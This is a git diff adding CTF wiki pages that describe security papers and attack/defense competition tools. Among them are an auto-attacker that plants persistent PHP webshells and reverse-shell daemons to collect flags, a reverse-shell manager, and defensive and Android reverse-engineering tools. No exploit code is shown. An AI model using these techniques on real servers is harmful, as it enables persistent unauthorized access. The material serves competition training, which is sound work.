+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate

+

Published 2021

+

Authors: Gr'egoire Menguy, Sébastien Bardin, Richard Bonichon, Cauim de Souza de Lima

+

Abstract

+

Code obfuscation aims at protecting Intellectual Property and other secrets embedded into software from being retrieved. Recent works leverage advances in artificial intelligence (AI) with the hope of getting blackbox deobfuscators completely immune to standard (whitebox) protection mechanisms. While promising, this new field of AI-based, and more specifically search-based blackbox deobfuscation, is still in its infancy. In this article we deepen the state of search-based blackbox deobfuscation in three key directions: understand the current state-of-the-art, improve over it and design dedicated protection mechanisms. In particular, we define a novel generic framework for search-based blackbox deobfuscation encompassing prior work and highlighting key components; we are the first to point out that the search space underlying code deobfuscation is too unstable for simulation-based methods (e.g., Monte Carlo Tree Search used in prior work) and advocate the use of robust methods such as S-metaheuristics; we propose the new optimized search-based blackbox deobfuscator Xyntia which significantly outperforms prior work in terms of success rate (especially with small time budget) while being completely immune to the most recent anti-analysis code obfuscation methods; and finally we propose two novel protections against search-based blackbox deobfuscation, allowing to counter Xyntia powerful attacks.

+

Download

+

PDF: Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate.pdf

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Paper/file/Cert-RNN Towards Certifying the Robustness of Recurrent.pdf b/Paper/file/Cert-RNN Towards Certifying the Robustness of Recurrent.pdf new file mode 100644 index 000000000..b930391c1 Binary files /dev/null and b/Paper/file/Cert-RNN Towards Certifying the Robustness of Recurrent.pdf differ diff --git a/Paper/file/Chaff Bugs Deterring Attackers by Making Software Buggier.pdf b/Paper/file/Chaff Bugs Deterring Attackers by Making Software Buggier.pdf new file mode 100644 index 000000000..4966acb68 Binary files /dev/null and b/Paper/file/Chaff Bugs Deterring Attackers by Making Software Buggier.pdf differ diff --git a/Paper/file/Consistency Analysis of Data-Usage Purposes in Mobile Apps.pdf b/Paper/file/Consistency Analysis of Data-Usage Purposes in Mobile Apps.pdf new file mode 100644 index 000000000..a95a060b9 Binary files /dev/null and b/Paper/file/Consistency Analysis of Data-Usage Purposes in Mobile Apps.pdf differ diff --git a/Paper/file/Exorcising Spectres with Secure Compilers.pdf b/Paper/file/Exorcising Spectres with Secure Compilers.pdf new file mode 100644 index 000000000..427f17251 Binary files /dev/null and b/Paper/file/Exorcising Spectres with Secure Compilers.pdf differ diff --git a/Paper/file/Fuzzy Message Detection.pdf b/Paper/file/Fuzzy Message Detection.pdf new file mode 100644 index 000000000..0c36207dd Binary files /dev/null and b/Paper/file/Fuzzy Message Detection.pdf differ diff --git a/Paper/file/Key Agreement for Decentralized Secure Group Messaging with.pdf b/Paper/file/Key Agreement for Decentralized Secure Group Messaging with.pdf new file mode 100644 index 000000000..1c79e7da9 Binary files /dev/null and b/Paper/file/Key Agreement for Decentralized Secure Group Messaging with.pdf differ diff --git a/Paper/file/Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction.pdf b/Paper/file/Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction.pdf new file mode 100644 index 000000000..c637324ec Binary files /dev/null and b/Paper/file/Preventing Dynamic Library Compromise on Node.js via RWX-Based Privilege Reduction.pdf differ diff --git a/Paper/file/Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate.pdf b/Paper/file/Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate.pdf new file mode 100644 index 000000000..f50b7f160 Binary files /dev/null and b/Paper/file/Search-based Approaches for Local Black-Box Code Deobfuscation Understand, Improve and Mitigate.pdf differ diff --git a/Paper/file/Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference.pdf b/Paper/file/Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference.pdf new file mode 100644 index 000000000..c13d573db Binary files /dev/null and b/Paper/file/Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference.pdf differ diff --git a/Paper/file/Unleashing the Tiger Inference Attacks on Split Learning.pdf b/Paper/file/Unleashing the Tiger Inference Attacks on Split Learning.pdf new file mode 100644 index 000000000..6ec2a926b Binary files /dev/null and b/Paper/file/Unleashing the Tiger Inference Attacks on Split Learning.pdf differ diff --git a/Tool/AWD/AWD_auto_attack/index.html b/Tool/AWD/AWD_auto_attack/index.html new file mode 100644 index 000000000..c9e4dd666 --- /dev/null +++ b/Tool/AWD/AWD_auto_attack/index.html @@ -0,0 +1,8198 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + AWD_auto_attack - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

AWD_auto_attack

+

一个自动化写入php不死马/进程守护马,批量获得flag的线下赛工具

+

脚本会每隔360秒从files/payload.txt取出攻击向量,攻击files/ip.txt中的每个ip,如果可以写入webshell,则写入不死马和进程守护。返回不死马的地址和进程守护反弹的端口。如果不可以写webshell,则根据配置读取flag。

+

用法

+
python attack.py -t 360 -r 192.168.1.1 -i 3
+
+

文件夹结构

+
├── attack.py 主程序
+├── files
+│   ├── door.txt 不死马文件
+│   ├── flag.txt 没有用的文件
+│   ├── ip.txt 攻击的ip
+│   └── payload.txt 配置文件
+├── lib
+│   ├── kekong.py 进程守护马文件
+│   └── ua.txt ua头文件
+├── 其他 模块文件
+└── README.txt 本文件
+
+

配置说明

+
    +
  1. cookie要用逗号分割,默认的分号会被当做注释符。
  2. +
  3. 必填项为:[payload*] method getparam webshellreturn signal。 如果是可以写shell的漏洞,则填写webshellpath webshellpass,不要填写signal的值。 如果不可以写shell,请填写signal,不要填写webshellpath webshellpass。
  4. +
  5. referer,ua,cookie头均为测试的时候加入的,比赛中如果不需要可以删除或者注释掉,注释的方法是句子前加‘#’或者‘;’
  6. +
  7. 脚本处理不死马的逻辑是将不死马中的{name}替换为随机字符串,然后将这个文件传入到目标主机。访问这个不死马生成真正的不死马。不死马的形式可以自定义,但务必传入的参数是base64格式,传入的键为sxsx23,因为脚本会用sxsx23发送一个base64编码后的phpinfo来检查不死马的通讯情况,后续使用脚本获得flag时也会使用sxsx23和base64编码后的内容获得。
  8. +
+

不足

+
    +
  1. 只能利用可以发送单次payload的漏洞。
  2. +
  3. 自动获得flag的功能在遇到返回页面中夹杂很多其他无用数据的时候体验很糟糕
  4. +
  5. 代码写的太烂
  6. +
+

screenshot-1

+

screenshot-1

+ +

Github repo: https://github.com/Hecbi/awd_auto_attack

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/AWD/AoiAWD/index.html b/Tool/AWD/AoiAWD/index.html new file mode 100644 index 000000000..54e019df8 --- /dev/null +++ b/Tool/AWD/AoiAWD/index.html @@ -0,0 +1,8636 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + AoiAWD - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

AoiAWD

+

A general defense platform for AWD.

+

编译、安装与使用方法

+

构建方法

+

参考构建流程简介进行操作: BUILD.md

+

MongoDB Server

+

用于记录庞大的流量文件的数据库,是整个系统的核心存储。

+
    +
  • 一般情况下建议和AoiAWD Core一起部署在选手自己可控的主机上。
  • +
  • 无需额外的配置,Ubuntu环境下开箱即用,apt一下即可搞定。
  • +
+

Frontend

+

Vue编写的Web前端,用来浏览日志,产生报警动画等可视化展示。

+
    +
  • 使用npm编译打包。
  • +
  • 一般情况下编译后将与AoiAWD Core集成为一个可执行文件。
  • +
  • 无需单独的运行启动。
  • +
+

AoiAWD Core

+

是整个系统运行的核心,负责探针数据收集入库、插件生命周期管理、Web前端托管服务。

+
    +
  • 运行compile.php即可打包为一个单独的二进制文件,方便携带。
  • +
  • 插件需要放到和aoiawd.phar同目录下的plugins文件夹,Web端有直接重载插件的按钮,可以实现热更新。
  • +
  • 一般情况下可直接无参数运行,如果需要特别的配置,可以增加-h参数查看帮助信息。
  • +
+
AoiAWD: Data Visualization Tool & Main Server
+Usage: ./aoiawd.phar [OPTIONS]
+         -w [URI] HTTP server bind URI. Default: tcp://0.0.0.0:1337
+         -l [URI] Log recoard server bind URI. Default: tcp://0.0.0.0:8023
+         -m [URI] MongoDB server URI. Default: mongodb://127.0.0.1:27017
+         -t [STRING] Access token. Default: [RANDOM]
+         -h This help info
+
+
    +
  • 运行后会显示本次启动后的临时密钥,是访问Web前端的必要信息
  • +
+
[2020-09-24 15:21:21] MainServer.notice: AccessToken: 0de8d57b3e91dc66 [] [] #<-- Web访问密钥
+...
+[2020-09-24 15:21:21] Amp\Http\Server\Server.info: Listening on http://0.0.0.0:1337/ [] [] #<-- Web前端地址
+[2020-09-24 15:21:21] aoicommon\socket\AsyncTCPServer.info: Listening on 0.0.0.0:8023 [] [] #<-- 探针上线地址
+
+

Guardian

+

一个二进制PWN的影子外壳,其原理是包裹在PWN题目外侧,在每次被启动的时候透明记录STDIN与STDOUT的流量,并快照PWN程序的内存结构(/proc/????/mem)上传回AoiAWD Core。

+
    +
  • 在项目目录运行compile.php将会编译影子壳程序和捆绑程序: guardian.phar,一般是在选手电脑上进行捆绑后将生成文件上传到靶机。
  • +
  • 直接运行捆绑程序会输出帮助文本,其中比较重要的一些参数是:
  • +
  • -i: 输入需要套壳的PWN题目程序路径
  • +
  • -s: 输入可以从靶机访问到探针上线地址的URL,比如说192.168.???.???:8023
  • +
+
Guardian: AoiAWD ELF PWNMonitor Tool
+Usage: ./guardian.phar [PATH]
+         -i [PATH] Original ELF.
+         -o [PATH] Path of patched ELF. Default: {$OriginalELF}.guardianed
+         -s [URI] Log recoard server URI. Default: 127.0.0.1:8023
+         -h This help info
+
+

TapeWorm

+

一个PHP Web的影子外壳,其原理是自动注入到所有PHP文件的头部,支持输入输出流量的抓取与上报,同时具有处理输出数据的能力,实现输出内容篡改。

+
    +
  • 程序内部的代码已经实现了单实例启动,即便是层层include了多次,也只会运行最先触发的影子外壳。所以不用担心复杂的题目影响性能。
  • +
  • 自动注入程序会智能识别面向对象的文件(包含 namespace 关键字),和直接面向过程的PHP文件,一般情况下不会造成语法错误。
  • +
  • 自动注入程序会识别已经被注入的脚本并加以跳过,所以多次反复无脑对web根目录运行注入程序并不会造成什么太大的问题。
  • +
  • 运行compile.php就可以生成自动注入程序,一般情况下可以上传到靶机上直接对web根目录进行注入,或者在选手电脑上注入好之后再上传到靶机上。
  • +
  • 一时注入一时爽,忘记备份宕机慌
  • +
  • 直接运行注入程序会显示帮助文本,其中比较重要的一些参数是:
  • +
  • -d: 需要注入外壳的web根目录,会从此目录递归感染所有的PHP文件。
  • +
  • -s: 输入可以从靶机访问到探针上线地址的URL,比如说192.168.???.???:8023。
  • +
+
TapeWorm: AoiAWD PHP WebMonitor Tool
+Usage: ./tapeworm.phar [PATH]
+         -d [PATH] WebMonitor inject dir.
+         -s [URI] Log recoard server URI. Default: 127.0.0.1:8023
+         -f [PATH] Inject file path. Default: {$dir}
+         -h This help info
+
+

RoundWorm

+

一个监控文件系统和进程的系统行为监视器,其原理是扫描/proc文件夹获取当前正在运行的所有进程的信息,以及利用Linux系统的inotify功能对指定文件夹的敏感文件操作进行全面的记录。

+
    +
  • 直接运行make就可以编译生成
  • +
  • 一般来讲该程序在靶机上运行,选手电脑上没必要执行这玩意。
  • +
  • 添加-h参数即可看到帮助文档,其中比较重要的一些参数是:
  • +
  • -d: 后台运行,你当然不想关掉ssh的时候就把探针也给关了。
  • +
  • -s: 输入可以从靶机访问到探针上线地址的IP,比如说192.168.???.???。
  • +
  • -w: 需要监控文件变化的路径,如果有多个路径使用';'分割,比如: -w "/tmp;/var/www/html"
  • +
+
RoundWorm: AoiAWD Filesystem & Process Monitor Tool
+Usage: ./roundworm [OPTIONS]
+         -d Running in daemon mode.
+         -s [HOST] AoiAWD Probe IP. Default: 127.0.0.1
+         -p [PORT] AoiAWD Probe PORT. Default: 8023
+         -w [PATH] Inotify watch dir, ';' as divider. Default: /tmp
+         -i [MSECOND] Process watch interval. Default: 100
+         -h This help info
+
+

应用场景

+

在常见的AWD比赛中,选手往往拥有一台(或若干台)开放了SSH服务和题目服务的“靶机”作为自己防守的阵地。

+

在实际比赛中,主办方往往会限制选手的SSH权限到一般用户/仅可管理题目的权限。并且针对一些常见的通用防火墙脚本(通防脚本)进行轮询式check。

+

AoiAWD是针对以上场景的限制和痛点设计的,组件间基于socket通信以便灵活部署,具有图形可视化界面。所有行为探针均支持在最低系统权限下运行,且默认不会干扰题目业务逻辑的正常运行,可以绕过绝大部分check脚本的行为检查。支持如下维度的行为捕获能力:

+
    +
  • Web输入输出数据捕获、输出流量篡改(没错,你可以动态替换掉输出的flag为任意字符串)
  • +
  • PWN类题目输入输出交互流量包捕获、当次运行时内存结构捕获、输出流量篡改
  • +
  • 服务器进程UID、PID、父进程、启动参数、运行时间捕获
  • +
  • 服务器文件系统新建、删除、修改、权限变化行为捕获。
  • +
+

本系统还内置了生命周期钩子,可以针对某一次行为的产生编写特定的插件去实现流量层面的临时热补丁、增加大屏告警、替换输出字符等操作。系统默认内置了如下插件可供参考:

+
    +
  • FlagBuster: 当检测到输出流量中包含了符合正则的flag字符串,产生大屏告警、标记触发规则的数据包、并将flag精准替换为看起来也像flag的随机数。
  • +
  • KingWatcher: KoH类比赛中,当有其他队伍替换掉了赛点文件时,产生大屏告警。
  • +
  • ZombieKiller: 当文件系统上出现了不死马行为,标记可疑文件并产生大屏告警。
  • +
+

系统简介

+

AoiAWD 分为六个组件,组件间互相配合实现系统的完整功能

+
    +
  • MongoDB Server: 日志数据存储数据库
  • +
  • AoiAWD Core: 中心数据处理与插件后端服务器
  • +
  • Frontend: 数据可视化平台前端
  • +
  • Guardian: PWN行为探针
  • +
  • TapeWorm: Web行为探针
  • +
  • RoundWorm: 系统进程与文件系统行为探针
  • +
+

img

+

系统截图

+

登陆界面

+

img

+

仪表盘

+

img

+

Web日志列表

+

img

+

Web日志详情

+

img

+

PWN日志列表

+

img

+

PWN日志详情

+

img

+

文件系统日志列表

+

img

+

系统进程列表

+

img

+

告警日志列表

+

img

+

双击告警日志后高亮关联

+

img

+ +

Github repo: https://github.com/DasSecurity-HatLab/AoiAWD

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/AWD/Auto-AWD/index.html b/Tool/AWD/Auto-AWD/index.html new file mode 100644 index 000000000..c7fb1889b --- /dev/null +++ b/Tool/AWD/Auto-AWD/index.html @@ -0,0 +1,8212 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Auto-AWD - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Auto-AWD

+

title

+

Auto-AWD will auto run the payload and submit flag to platform every round

+

Demo

+

asciicast

+

Getting Started

+

Prerequisites

+
    +
  • python3
  • +
  • pip/pipenv
  • +
+

Installation

+

Just install python packages: pipenv install

+

Usage

+
    +
  1. Config your game rules in config.yml,like config.template.yml
  2. +
  3. python awd.py
  4. +
+ +

Github repo: https://github.com/XuCcc/Auto-AWD#getting-started

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/AWD/ShellCat/index.html b/Tool/AWD/ShellCat/index.html new file mode 100644 index 000000000..a3a2181f1 --- /dev/null +++ b/Tool/AWD/ShellCat/index.html @@ -0,0 +1,8097 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ShellCat - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

ShellCat

+

一个集中管理反弹 Shell 的程序,监听一个端口,然后所有的反弹 Shell 都连到这个端口。

+

如果同时有很多服务器的反弹 Shell 要连,就要开很多个 nc 监听,这样会很麻烦,因此就做了这个项目。

+

img1.png

+

Download ShellCat

+ +

Github repo: https://github.com/restran/shellcat

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/AWD/awd-submit-flag/index.html b/Tool/AWD/awd-submit-flag/index.html new file mode 100644 index 000000000..2ac909bfa --- /dev/null +++ b/Tool/AWD/awd-submit-flag/index.html @@ -0,0 +1,8137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + awd-submit-flag - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

awd-submit-flag

+

The script to submit flag in the bunch.

+

Dependencies

+

python(2/3)

+

requests

+

pwntools

+

Quick start

+

modify quick_exp.py, then run python quick_exp.py.

+

script

+ +

Github repo: https://github.sre.pub/0xaww/awd-submit-flag

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/AWD/awd-watchbird/index.html b/Tool/AWD/awd-watchbird/index.html new file mode 100644 index 000000000..c49d71537 --- /dev/null +++ b/Tool/AWD/awd-watchbird/index.html @@ -0,0 +1,8167 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + awd-watchbird - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

awd-watchbird

+

A powerful PHP WAF for AWD

+

img

+

How to use

+
    +
  • 下载最新 release
  • +
  • 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
  • +
  • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
  • +
  • 访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
  • +
  • 如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
  • +
+

Deployment

+
    +
  • git clone https://github.com/leohearts/awd-watchbird.git
  • +
  • 使用 pyhton3 pack.py 将源码打包为单文件
  • +
  • 编译waf.c生成.so文件,参考命令:gcc waf.c -shared -o waf.so
  • +
+

Screenshot

+

1

+

2

+

3

+ +

Github repo: https://github.sre.pub/leohearts/awd-watchbird

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/AWD/flower/index.html b/Tool/AWD/flower/index.html new file mode 100644 index 000000000..9a31456f2 --- /dev/null +++ b/Tool/AWD/flower/index.html @@ -0,0 +1,8333 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + flower - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

flower

+

TCP flow analyzer with sugar for Attack/Defense CTF

+

What is it?

+

demo_image

+

Flower is an automatic packet analyzer made by Ca' Foscari University team for the CyberChallenge attack/defense CTF held in Rome on June 27th, 2018.

+

This tool was written in less than ten days, but it works! Every contribution is welcome!

+

Presentation of Flower (from min 7:30), and general introduction to CTFs at ESC2K18 in Italian:

+

tools presentation

+

Features

+
    +
  • Only one command needed to have it up, thanks to docker.
  • +
  • Flow list
  • +
  • Vim like navigation ( k and j to navigate the list)
  • +
  • Regex filtering with highlight img
  • +
  • Highlight in red flow with flags
  • +
  • Favorite management
  • +
  • Time filter
  • +
  • Service filter img
  • +
  • Colored hex dump img
  • +
  • Automatic export GET/POST requests directly in python-format img
  • +
  • Automatic export to pwntools img
  • +
+

Getting Started

+

Run with docker

+

Clone the repo, enter in the directory, and just run docker-compose up, and after a while, you will find flower at http://localhost:3000.

+

For the flag regex, modify REACT_APP_FLAG_REGEX in docker-compose.yml.

+

The build will automatically import the test pcaps.

+

To enter in the service to import other pcaps, run docker exec -it flower_flower-python_1 /bin/bash (if the flower is in a folder with a different name, modify the prefix after -it). The container shares the /shared folder with the host. Put the pcap files inside this folder and use python services/importer.py /shared/pcap_file_here from the container to import pcaps to flower.

+

Manual installation

+
    +
  1. Clone and install dependencies
  2. +
+

git clone https://github.com/secgroup/flower + cd flower + npm install + pip install -r services/requirements.txt

+
    +
  1. +

    (Optional) Set the following environment variables:

    +
  2. +
  3. +

    REACT_APP_FLOWER_MONGO IP of the host that will have flower db active (MongoDB)

    +
  4. +
  5. REACT_APP_FLOWER_SERVICES IP of the host that will have services active
  6. +
  7. +

    REACT_APP_FLAG_REGEX regex that matches flags.

    +
  8. +
  9. +

    Mongodb is required on the same machine that run the services. To start it: sudo mongod --dbpath /path/to/mongodb/db --bind_ip 0.0.0.0

    +
  10. +
+

Run

+
    +
  1. Start flower
  2. +
+

./run.sh

+
    +
  1. Start flower services
  2. +
+

cd services + ./run_ws.sh

+

Once everything has been started, the flower should be accessible at the address of the machine that started it on port 3000.

+

Pcap import

+

You must first install pynids from here. The pip version is outdated! Good luck with the installation. Then, you can import pcaps into MongoDB by executing the provided script importer.py as follows:

+
cd services
+./importer.py pcap_file.pcap
+
+

You can find a test_pcap in services/test_pcap. For a quick demo, run ./importer.py test_pcap/dump-2018-06-27_13:25:31.pcap

+

Security tips (Important!)

+

If you are going to use the flower in a CTF, remember to set up the firewall in the most appropriate way, as the current implementation does not use other security techniques.

+
+

If you ignore this, everybody will be able to connect to your database and steal all your flags!

+
+ +

Github repo: https://news.topnotch.works/host-https-github.com/secgroup/flower

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Android/APKTool/index.html b/Tool/Android/APKTool/index.html new file mode 100644 index 000000000..8045c5a38 --- /dev/null +++ b/Tool/Android/APKTool/index.html @@ -0,0 +1,8166 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + APKTool - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

APKTool

+

A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. It also makes working with an app easier because of the project like file structure and automation of some repetitive tasks like building apk, etc.

+

It is NOT intended for piracy and other non-legal uses. It could be used for localizing, adding some features or support for custom platforms, analyzing applications and much more.

+
$ apktool d test.apk
+I: Using Apktool 2.7.0 on test.apk
+I: Loading resource table...
+I: Decoding AndroidManifest.xml with resources...
+I: Loading resource table from file: 1.apk
+I: Regular manifest package...
+I: Decoding file-resources...
+I: Decoding values */* XMLs...
+I: Baksmaling classes.dex...
+I: Copying assets and libs...
+I: Copying unknown files...
+I: Copying original files...
+$ apktool b test
+I: Using Apktool 2.7.0 on test
+I: Checking whether sources has changed...
+I: Smaling smali folder into classes.dex...
+I: Checking whether resources has changed...
+I: Building resources...
+I: Building apk file...
+I: Copying unknown files/dir...
+
+

Features

+
    +
  • Disassembling resources to nearly original form (including resources.arsc, classes.dex, 9.png. and XMLs)
  • +
  • Rebuilding decoded resources back to binary APK/JAR
  • +
  • Organizing and handling APKs that depend on framework resources
  • +
  • Smali Debugging (Removed in 2.1.0 in favor of IdeaSmali)
  • +
  • Helping with repetitive tasks
  • +
+

Requirements

+
    +
  • Java 8 (JRE 1.8)
  • +
  • Basic knowledge of Android SDK, AAPT and smali
  • +
+ +

https://ibotpeaches.github.io/Apktool/

+

https://github.com/iBotPeaches/Apktool

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Android/LDPlayer/index.html b/Tool/Android/LDPlayer/index.html new file mode 100644 index 000000000..43d1ccb16 --- /dev/null +++ b/Tool/Android/LDPlayer/index.html @@ -0,0 +1,8094 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + LDPlayer - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

LDPlayer

+

LDPlayer is a free Android emulator to play mobile games on a PC with a mouse and keyboard. It provides the fastest performance for Android gaming.

+ +

https://en.ldplayer.net/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Android/dex2jar/index.html b/Tool/Android/dex2jar/index.html new file mode 100644 index 000000000..7e73130ff --- /dev/null +++ b/Tool/Android/dex2jar/index.html @@ -0,0 +1,8160 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + dex2jar - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

dex2jar

+

Tools to work with android .dex and java .class files.

+
    +
  1. dex-reader/writer: Read/write the Dalvik Executable (.dex) file. It has a light weight API similar with ASM.
  2. +
  3. d2j-dex2jar: Convert .dex file to .class files (zipped as jar)
  4. +
  5. smali/baksmali: disassemble dex to smali files and assemble dex from smali files. different implementation to smali/baksmali, same syntax, but we support escape in type desc "Lcom/dex2jar\t\u1234;"
  6. +
  7. other tools: d2j-decrypt-string
  8. +
+

Usage

+
    +
  1. In the root directory run: ./gradlew distZip
  2. +
  3. cd dex-tools/build/distributions
  4. +
  5. Unzip the file dex-tools-2.1-SNAPSHOT.zip (file size should be ~5 MB)
  6. +
  7. Run d2j-dex2jar.sh from the unzipped directory
  8. +
+

Example usage:

+
+

sh d2j-dex2jar.sh -f ~/path/to/apk_to_decompile.apk

+
+

And the output file will be apk_to_decompile-dex2jar.jar.

+ +

https://github.com/pxb1988/dex2jar

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Android/jadx/index.html b/Tool/Android/jadx/index.html new file mode 100644 index 000000000..768780514 --- /dev/null +++ b/Tool/Android/jadx/index.html @@ -0,0 +1,8220 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + jadx - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

jadx

+

jadx - Dex to Java decompiler

+

Command line and GUI tools for producing Java source code from Android Dex and Apk files

+

❗❗❗ Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds

+

Main features:

+
    +
  • decompile Dalvik bytecode to java classes from APK, dex, aar, aab and zip files
  • +
  • decode AndroidManifest.xml and other resources from resources.arsc
  • +
  • deobfuscator included
  • +
+

jadx-gui features:

+
    +
  • view decompiled code with highlighted syntax
  • +
  • jump to declaration
  • +
  • find usage
  • +
  • full text search
  • +
  • smali debugger, check wiki page for setup and usage
  • +
+

Jadx-gui key bindings can be found here

+

See these features in action here: jadx-gui features overview

+

img

+

Download

+ +

After download unpack zip file go to bin directory and run:

+
    +
  • jadx - command line version
  • +
  • jadx-gui - UI version
  • +
+

On Windows run .bat files with double-click +Note: ensure you have installed Java 11 or later 64-bit version. For Windows, you can download it from oracle.com (select x64 Installer).

+

Install

+
    +
  1. Arch linux Arch Linux package
  2. +
+

sudo pacman -S jadx

+
    +
  1. macOS homebrew version
  2. +
+

brew install jadx

+
    +
  1. Flathub Flathub
  2. +
+

flatpak install flathub com.github.skylot.jadx

+

Use jadx as a library

+

You can use jadx in your java projects, check details on wiki page

+

Build from source

+

JDK 8 or higher must be installed:

+
